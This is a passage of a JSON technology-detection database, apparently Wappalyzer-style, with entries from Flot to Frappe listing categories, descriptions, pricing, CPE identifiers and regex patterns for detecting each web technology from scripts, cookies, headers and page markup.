\"(?:(?:jquery\\\\.)?)?flot(?:\\\\/curvedLines)?(?:\\\\/excanvas)?(?:\\\\/jquery)?(?:\\\\.categories)?(?:\\\\.pack)?(?:\\\\.pie)?(?:\\\\.resize)?(?:\\\\.selection)?(?:\\\\.spline)?(?:\\\\.symbol)?(?:\\\\.time)?(?:\\\\.tooltip)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://flotcharts.org/\"\n  },\n  \"Flourish\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"Flourish is a data visualisation and storytelling platform that enables users to create interactive data visualisations, charts, and presentations.\",\n    \"icon\": \"Flourish.svg\",\n    \"js\": {\n      \"Flourish.environment\": \"\",\n      \"FlourishConfig\": \"\",\n      \"FlourishLoaded\": \"\",\n      \"_Flourish_template_id\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"website\": \"https://flourish.studio\"\n  },\n  \"Flow\": {\n    \"cats\": [\n      106\n    ],\n    \"description\": \"Flow is an ecommerce platform that enables brands and retailers to sell their merchandise to customers internationally by creating localized shopping experiences.\",\n    \"icon\": \"Flow.png\",\n    \"js\": {\n      \"flow.cart\": \"\",\n      \"flow.countryPicker\": \"\",\n      \"flow_cart_localize\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:shopify-)?cdn\\\\.flow\\\\.io/\"\n    ],\n    \"website\": \"https://www.flow.io/\"\n  },\n  \"Flowbite\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Flowbite is an open-source library of UI components based on the utility-first Tailwind CSS framework featuring dark mode support, a Figma design system, and more.\",\n    \"icon\": \"Flowbite.svg\",\n    \"implies\": [\n      \"Tailwind CSS\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/flowbite(?:@([\\\\d\\\\.]+)/|\\\\.bundle\\\\.js)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/themesberg/flowbite\"\n  },\n  \"Flowbox\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Flowbox is a platform designed to enable brands to use social content to grow engagement, drive revenue and sell more across their marketing and commerce channels.\",\n    \"icon\": \"Flowbox.svg\",\n    \"js\": {\n      \"flowbox\": \"\",\n      \"flowboxWebpack\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getflowbox\\\\.com/\"\n    ],\n    \"website\": \"https://getflowbox.com\"\n  },\n  \"Flowplayer\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Flowplayer is a scalable, performance-first HTML 5 video player and platform hosting solution for publishers, broadcasters and digital media.\",\n    \"icon\": \"Flowplayer.svg\",\n    \"js\": {\n      \"flowplayer\": \"\",\n      \"flowplayer.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://flowplayer.com\"\n  },\n  \"Flurry Analytics\": {\n    \"cats\": [\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:flurry:flurry-analytics-android:*:*:*:*:*:*:*:*\",\n    \"description\": \"Flurry Analytics is a tool that provides basic insights into user behavior and app performance, with the option to set up advanced analytics for a deeper understanding of complex user interactions and events.\",\n    \"icon\": \"Flurry.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.flurry\\\\.com/\"\n    ],\n    \"website\": \"https://www.flurry.com\"\n  },\n  \"Flutter\": {\n    \"cats\": [\n      66\n    ],\n    \"cpe\": \"cpe:2.3:a:flutter:flutter:*:*:*:*:*:*:*:*\",\n    \"description\": \"Flutter is an open source framework by Google for building beautiful, natively compiled, multi-platform applications from a single codebase.\",\n    \"icon\": \"Flutter.svg\",\n    \"implies\": [\n      \"Dart\"\n    ],\n    \"js\": {\n      \"_flutter.loader\": \"\",\n      \"_flutter_web_set_location_strategy\": \"\",\n      \"flutterCanvasKit\": \"\"\n    },\n    \"meta\": {\n      \"id\": \"^flutterweb-theme$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://flutter.dev\"\n  },\n  \"FluxBB\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:fluxbb:fluxbb:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<p id=\\\"poweredby\\\">[^<]+<a href=\\\"https?://fluxbb\\\\.org/\\\">\"\n    ],\n    \"icon\": \"FluxBB.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://fluxbb.org\"\n  },\n  \"Fly.io\": {\n    \"cats\": [\n      62\n    ],\n    \"cookies\": {\n      \"_fly\": \"\"\n    },\n    \"description\": \"Fly is a platform for running full stack apps and databases.\",\n    \"headers\": {\n      \"fly-request-id\": \"\",\n      \"server\": \"^Fly/[\\\\w]+\\\\s\\\\(.*\\\\)$\",\n      \"via\": \"^.*\\\\sfly\\\\.io$\"\n    },\n    \"icon\": \"Fly.io.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"website\": \"https://fly.io\"\n  },\n  \"Flying Analytics\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Flying Analytics is a performance optimisation plugin for WordPress websites designed to reduce page load times and improve the user experience.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/flying-analytics/']\"\n    ],\n    \"icon\": \"default.svg\",\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/flying-analytics/\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/flying-analytics/\"\n  },\n  \"Flying Images\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Flying Images is a performance optimisation plugin for WordPress websites designed to reduce page load times and improve the user experience.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"flyingImages\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/nazy-load/\"\n  },\n  \"Flying Pages\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"Flying Pages is a performance optimisation plugin for WordPress websites designed to reduce page load times and improve the user experience.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/flying-pages/']\"\n    ],\n    \"icon\": \"Flying Pages.svg\",\n    \"js\": {\n      \"flyingPages\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/flying-pages/.+\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/flying-pages/\"\n  },\n  \"FlyingPress\": {\n    \"cats\": [\n      87,\n      92\n    ],\n    \"description\": \"FlyingPress is a WordPress plugin that helps to improve website performance by optimising various aspects of a WordPress site. The plugin offers a range of features, including caching, image optimisation, lazy loading, database optimisation, and more.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/flying-press/']\"\n    ],\n    \"icon\": \"FlyingPress.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/flying-press/\"\n    ],\n    \"website\": \"https://flying-press.com\"\n  },\n  \"Flyspray\": {\n    \"cats\": [\n      13\n    ],\n    \"cookies\": {\n      \"flyspray_project\": \"\"\n    },\n    \"html\": [\n      \"(?:<a[^>]+>Powered by Flyspray|<map id=\\\"projectsearchform)\"\n    ],\n    \"icon\": \"Flyspray.png\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://flyspray.org\"\n  },\n  \"Flywheel\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"headers\": {\n      \"x-fw-hash\": \"\",\n      \"x-fw-serve\": \"\",\n      \"x-fw-server\": \"^Flywheel(?:/([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"x-fw-static\": \"\",\n      \"x-fw-type\": \"\"\n    },\n    \"icon\": \"flywheel.svg\",\n    \"implies\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://getflywheel.com\"\n  },\n  \"Foleon\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Foleon is a content creation platform designed for business teams to produce engaging and intelligent content experiences at scale.\",\n    \"icon\": \"Foleon.svg\",\n    \"js\": {\n      \"foleon\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.foleon.com\"\n  },\n  \"Fomo\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Fomo is a social proof marketing platform.\",\n    \"icon\": \"Fomo.svg\",\n    \"js\": {\n      \"fomo.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fomo\\\\.com/api/v\"\n    ],\n    \"website\": \"https://fomo.com\"\n  },\n  \"Fondue\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Fondue is a platform that helps businesses drive profitable growth by ditching discount codes and giving cash back instead.\",\n    \"icon\": \"Fondue.svg\",\n    \"js\": {\n      \"Fondue\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"public\\\\.getfondue\\\\.com/\"\n    ],\n    \"website\": \"https://www.getfondue.com\"\n  },\n  \"Font Awesome\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Font Awesome is a font and icon toolkit based on CSS and Less.\",\n    \"dom\": {\n      \"link[href*='awesome']\": {\n        \"attributes\": {\n          \"href\": \"(?:([\\\\d\\\\.]+)/)?(?:css/)?font-awesome(?:\\\\.min)?\\\\.css\\\\;version:\\\\1\"\n        }\n      },\n      \"link[href*='font-awesome']\": {\n        \"attributes\": {\n          \"href\": \"/font-awesome/([\\\\d\\\\.]+)/css/\\\\;version:\\\\1\"\n        }\n      },\n      \"link[href*='fontawesome-free']\": {\n        \"attributes\": {\n          \"href\": \"/fontawesome-free(?:/|-)([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n        }\n      },\n      \"link[href*='kit-pro.fontawesome.com']\": {\n        \"attributes\": {\n          \"href\": \"/kit-pro\\\\.fontawesome\\\\.com/releases/v([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Font Awesome.svg\",\n    \"js\": {\n      \"FontAwesomeCdnConfig\": \"\",\n      \"___FONT_AWESOME___\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"(?:F|f)o(?:n|r)t-?(?:A|a)wesome(?:.*?([0-9a-fA-F]{7,40}|[\\\\d]+(?:.[\\\\d]+(?:.[\\\\d]+)?)?)|)\",\n      \"\\\\.fontawesome\\\\.com/([0-9a-z]+).js\"\n    ],\n    \"website\": \"https://fontawesome.com/\"\n  },\n  \"FontServer\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"FontServer is a online font delivery network service-provider for websites.\",\n    \"dom\": {\n      \"link[href*='.font']\": {\n        \"attributes\": {\n          \"href\": \"\\\\.font(?:api|cdn)\\\\.ir\"\n        }\n      }\n    },\n    \"icon\": \"FontServer.svg\",\n    \"website\": \"https://fontserver.ir\"\n  },\n  \"Fontify\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Fontify allows you to utilise any font without having to alter code.\",\n    \"icon\": \"Fontify.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"fontify\\\\.nitroapps\\\\.co/\"\n    ],\n    \"website\": \"https://apps.shopify.com/fontify-change-customize-font-for-your-store\"\n  },\n  \"FooPlugins FooGallery\": {\n    \"cats\": [\n      87,\n      7\n    ],\n    \"description\": \"FooPlugins FooGallery is a great image gallery plugin for WordPress.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/foogallery/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/foogallery/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"FooPlugins.svg\",\n    \"js\": {\n      \"FooGallery\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://fooplugins.com/foogallery-wordpress-gallery-plugin\"\n  },\n  \"FooTable\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"FooTable is a jQuery plugin that converts HTML tables into expandable responsive tables.\",\n    \"icon\": \"FooPlugins.svg\",\n    \"js\": {\n      \"$FOOTABLE.init\": \"\",\n      \"footable.plugins\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"jQuery\"\n    ],\n    \"website\": \"https://fooplugins.github.io/FooTable/index.html\"\n  },\n  \"Food-Ordering.co.uk\": {\n    \"cats\": [\n      6,\n      93\n    ],\n    \"description\": \"Food-Ordering.co.uk is a multi-lingual food ordering system for several hospitality scenarios including online ordering for delivery/takeout, in-store ordering (order at table, room service, self ordering kiosk), telephone ordering with callerID, and table booking.\",\n    \"icon\": \"Food-Ordering.co.uk.png\",\n    \"js\": {\n      \"GetOrderAcceptFor\": \"\\\\;confidence:25\",\n      \"StoreToC\": \"\\\\;confidence:25\",\n      \"disablecollection\": \"No\\\\;confidence:25\",\n      \"disabledelivery\": \"No\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"Microsoft ASP.NET\",\n      \"Bootstrap\",\n      \"Plesk\",\n      \"Google Maps\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.food-ordering.co.uk\"\n  },\n  \"FoodBooking\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"FoodBooking is a virtual food court based on a curated list of restaurants that use the GloriaFood ordering system.\",\n    \"dom\": [\n      \"a[href*='.foodbooking.com/ordering/restaurant/'][target='_blank']\"\n    ],\n    \"icon\": \"FoodBooking.svg\",\n    \"implies\": [\n      \"GloriaFood\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.(?:fbgcdn|foodbooking)\\\\.com/\"\n    ],\n    \"website\": \"https://www.foodbooking.com\"\n  },\n  \"Foodomaa\": {\n    \"cats\": [\n      93\n    ],\n    \"cookies\": {\n      \"cloudify_session\": \"\",\n      \"foodomaa_session\": \"\"\n    },\n    \"description\": \"Foodomaa is a multi-restaurant food ordering and restaurant membership system.\",\n    \"icon\": \"Foodomaa.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://foodomaa.com\"\n  },\n  \"Forethought AI\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Forethought is a customer support AI platform designed to lower support costs and enhance customer experience.\",\n    \"dom\": [\n      \"iframe#forethought-chat\"\n    ],\n    \"icon\": \"ForethoughtAI.svg\",\n    \"js\": {\n      \"Forethought\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://forethought.ai\"\n  },\n  \"Forethought Solve\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Forethought Solve is a live-chat widget that uses generative AI to automate responses for common questions across all channels.\",\n    \"icon\": \"Forethought Solve.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"solve-widget\\\\.forethought\\\\.ai/\"\n    ],\n    \"website\": \"https://forethought.ai/platform/solve/\"\n  },\n  \"Forgejo\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Forgejo is a self-hosted software forge.\",\n    \"dom\": [\n      \"link[href*='/theme-forgejo-auto.css']\"\n    ],\n    \"icon\": \"Forgejo.svg\",\n    \"implies\": [\n      \"Go\",\n      \"jQuery\",\n      \"PWA\",\n      \"RSS\"\n    ],\n    \"meta\": {\n      \"author\": \"Forgejo – Beyond coding\\\\. We forge\\\\.\"\n    },\n    \"oss\": true,\n    \"saas\": true,\n    \"website\": \"https://forgejo.org/\"\n  },\n  \"Forie\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Forie is a B2B marketplace software designed to facilitate business-to-business transactions by connecting suppliers and buyers.\",\n    \"icon\": \"Forie.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.forie\\\\.com/\"\n    ],\n    \"website\": \"https://www.forie.com/\"\n  },\n  \"Fork Awesome\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Fork Awesome is now a community effort based on Font Awesome by Dave Gandy.\",\n    \"dom\": {\n      \"link[href*='fork-awesome.min.css']\": {\n        \"attributes\": {\n          \"href\": \".+fork-awesome\\\\.min\\\\.css(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\"\n        }\n      },\n      \"link[href*='npm/fork-awesome']\": {\n        \"attributes\": {\n          \"href\": \"/npm/fork-awesome@([\\\\d.]+)/css/fork-awesome\\\\.min\\\\.css\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Fork Awesome.png\",\n    \"oss\": true,\n    \"website\": \"https://forkaweso.me\"\n  },\n  \"Fork CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:fork-cms:fork_cms:*:*:*:*:*:*:*:*\",\n    \"description\": \"Fork CMS is an open-source content management system.\",\n    \"icon\": \"ForkCMS.svg\",\n    \"implies\": [\n      \"Symfony\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Fork CMS$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.fork-cms.com\"\n  },\n  \"FormAssembly\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"FormAssembly is a platform that enables to collection of data and processing via workflow.\",\n    \"dom\": [\n      \"form[action*='tfaforms.net'], iframe[src*='tfaforms.net']\"\n    ],\n    \"icon\": \"FormAssembly.svg\",\n    \"js\": {\n      \"wFORMS.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://www.formassembly.com\"\n  },\n  \"FormBold\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"FormBold is a complete web forms solution for static websites that allows you to create forms, collect data, and send notifications.\",\n    \"dom\": [\n      \"form[action*='//formbold.com/']\"\n    ],\n    \"icon\": \"FormBold.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://formbold.com\"\n  },\n  \"Formaloo\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Formaloo is a no-code collaboration platform that helps businesses create custom data-driven business applications and internal tools, automate their processes and engage their audience.\",\n    \"dom\": [\n      \"iframe[src*='//formaloo.net/']\"\n    ],\n    \"icon\": \"Formaloo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//formaloo\\\\.net/\"\n    ],\n    \"website\": \"https://www.formaloo.com\"\n  },\n  \"Formidable Form\": {\n    \"cats\": [\n      87,\n      73,\n      110\n    ],\n    \"description\": \"Formidable Forms is a WordPress plugin that enables you to create quizzes, surveys, calculators, timesheets, multi-page application forms.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/formidable/']\"\n    ],\n    \"icon\": \"Formidable Form.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://formidableforms.com\"\n  },\n  \"Formitable\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Formitable is an reservation management system for restaurants.\",\n    \"icon\": \"Formitable.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"formitable\\\\.js(?:\\\\?ver=([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"cdn\\\\.formitable\\\\.com\"\n    ],\n    \"website\": \"https://formitable.com\"\n  },\n  \"Formless\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Formless is an AI-powered solution that creates interactive forms, enabling natural conversation, asking and answering questions, and engaging users at any touchpoint.\",\n    \"icon\": \"Formless.svg\",\n    \"js\": {\n      \"__formless_cleanup_signals\": \"\",\n      \"__formless_init\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://formless.ai\"\n  },\n  \"Formli\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Formli is a web-based form builder service that permits users to produce and personalise online forms for different purposes, including surveys, feedback forms, event registrations, and others.\",\n    \"icon\": \"Formli.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:app|cdn)\\\\.(?:formli|humanagency)\\\\.(?:com|org)/\"\n    ],\n    \"website\": \"https://formli.com\"\n  },\n  \"Formstack\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Formstack is a platform offering no-code solutions for digital workflows, including forms, documents, and signatures.\",\n    \"dom\": [\n      \"form[action*='.formstack.com/forms']\"\n    ],\n    \"icon\": \"Formstack.svg\",\n    \"js\": {\n      \"Formstack\": \"\",\n      \"loadFormstack\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.formstack.com\"\n  },\n  \"ForoshGostar\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"Aws.customer\": \"\"\n    },\n    \"icon\": \"ForoshGostar.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Forosh\\\\s?Gostar.*|Arsina Webshop.*$\"\n    },\n    \"website\": \"https://www.foroshgostar.com\"\n  },\n  \"Forte\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Forte, a CSG Company offers merchants and partners a broad range of payment solutions.\",\n    \"icon\": \"Forte.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"checkout\\\\.forte\\\\.net\"\n    ],\n    \"website\": \"https://www.forte.net\"\n  },\n  \"Forter\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"forterToken\": \"\"\n    },\n    \"description\": \"Forter is a SaaS company that provides fraud prevention technology for online retailers and marketplaces.\",\n    \"icon\": \"Forter.svg\",\n    \"js\": {\n      \"ftr__startScriptLoad\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"forter\\\\.com\"\n    ],\n    \"website\": \"https://www.forter.com\"\n  },\n  \"Fortinet FortiGate\": {\n    \"cats\": [\n      16\n    ],\n    \"cookies\": {\n      \"FGTServer\": \"\"\n    },\n    \"description\": \"Fortinet FortiGate is a family of network security appliances that provide firewall, VPN, intrusion prevention, antivirus, web filtering, and other security features to protect and secure networks and data.\",\n    \"icon\": \"Fortinet.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.fortinet.com/products/next-generation-firewall\"\n  },\n  \"Fortune3\": {\n    \"cats\": [\n      6\n    ],\n    \"html\": [\n      \"(?:<link [^>]*href=\\\"[^\\\\/]*\\\\/\\\\/www\\\\.fortune3\\\\.com\\\\/[^\\\"]*siterate\\\\/rate\\\\.css|Powered by <a [^>]*href=\\\"[^\\\"]+fortune3\\\\.com)\"\n    ],\n    \"icon\": \"Fortune3.png\",\n    \"scriptSrc\": [\n      \"cartjs\\\\.php\\\\?(?:.*&)?s=[^&]*myfortune3cart\\\\.com\"\n    ],\n    \"website\": \"https://fortune3.com\"\n  },\n  \"Foswiki\": {\n    \"cats\": [\n      8\n    ],\n    \"cookies\": {\n      \"FOSWIKISTRIKEONE\": \"\",\n      \"SFOSWIKISID\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:foswiki:foswiki:*:*:*:*:*:*:*:*\",\n    \"description\": \"Foswiki is a free open-source collaboration platform.\",\n    \"headers\": {\n      \"X-Foswikiaction\": \"\",\n      \"X-Foswikiuri\": \"\"\n    },\n    \"html\": [\n      \"<div class=\\\"foswiki(?:Copyright|Page|Main)\\\">\"\n    ],\n    \"icon\": \"foswiki.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"js\": {\n      \"foswiki\": \"\"\n    },\n    \"meta\": {\n      \"foswiki.SERVERTIME\": \"\",\n      \"foswiki.WIKINAME\": \"\"\n    },\n    \"website\": \"https://foswiki.org\"\n  },\n  \"Four\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Pay with four is a Buy now pay later solution.\",\n    \"icon\": \"Four.svg\",\n    \"js\": {\n      \"Four\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"scripts\\\\.paywithfour\\\\.com\"\n    ],\n    \"website\": \"https://paywithfour.com/\"\n  },\n  \"Foursixty\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Foursixty is a widget which turns Instagram content and user-generated content into shoppable galleries.\",\n    \"icon\": \"Foursixty.svg\",\n    \"js\": {\n      \"FoursixtyEmbed\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"foursixty\\\\.com\"\n    ],\n    \"website\": \"https://foursixty.com/\"\n  },\n  \"Fourthwall\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Fourthwall helps to create and launch a branded website.\",\n    \"icon\": \"Fourthwall.svg\",\n    \"js\": {\n      \"FourthwallAnalytics\": \"\",\n      \"fourthwallTheme\": \"\"\n    },\n    \"meta\": {\n      \"version\": \"^(.+)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fourthwall\\\\.com\"\n    ],\n    \"website\": \"https://fourthwall.com/\"\n  },\n  \"FoxPush\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"FoxPush is a platform that supports pushing of notifications through the browser.\",\n    \"icon\": \"FoxPush.svg\",\n    \"js\": {\n      \"_foxpush\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.foxpush\\\\.net/\"\n    ],\n    \"website\": \"https://www.foxpush.com\"\n  },\n  \"Foxy.io\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Foxy’s hosted cart & payment page allow you to sell anything, using your existing website or platform.\",\n    \"icon\": \"foxyio.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.foxycart\\\\.com\"\n    ],\n    \"website\": \"https://www.foxy.io\"\n  },\n  \"Framer Sites\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Framer is primarily a design and prototyping tool. It allows you to design interactive prototypes of websites and applications using production components and real data.\",\n    \"icon\": \"Framer Sites.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"Framer\": \"\",\n      \"Framer.Animatable\": \"\",\n      \"Framer.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\\\\;confidence:0\",\n      \"__framer_importFromPackage\": \"\"\n    },\n    \"oss\": false,\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"framerusercontent\\\\.com\"\n    ],\n    \"website\": \"https://framer.com/sites\"\n  },\n  \"Frames\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Frames is a tool that allows you to create wireframes in real time, design and develop systems, and access a library of components to help you build custom websites quickly and easily, without any restrictions on your creative input.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/frames-plugin/']\"\n    ],\n    \"icon\": \"Frames.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getframes.io\"\n  },\n  \"France Express\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"France Express is a delivery service based in France.\",\n    \"icon\": \"France Express.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bFrance Express\\\\b\"\n    ],\n    \"website\": \"https://www.france-express.com\"\n  },\n  \"Frappe\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*\",\n    \"description\": \"Frappe is a full stack, batteries-included, web framework written in Python and Javascript.\",\n    \"icon\": \"Frappe.svg\",\n    \"implies\": [\n      \"Python\",\n      \"MariaDB\"\n    ],\n    \"js\": {\n      \"frappe.avatar\": 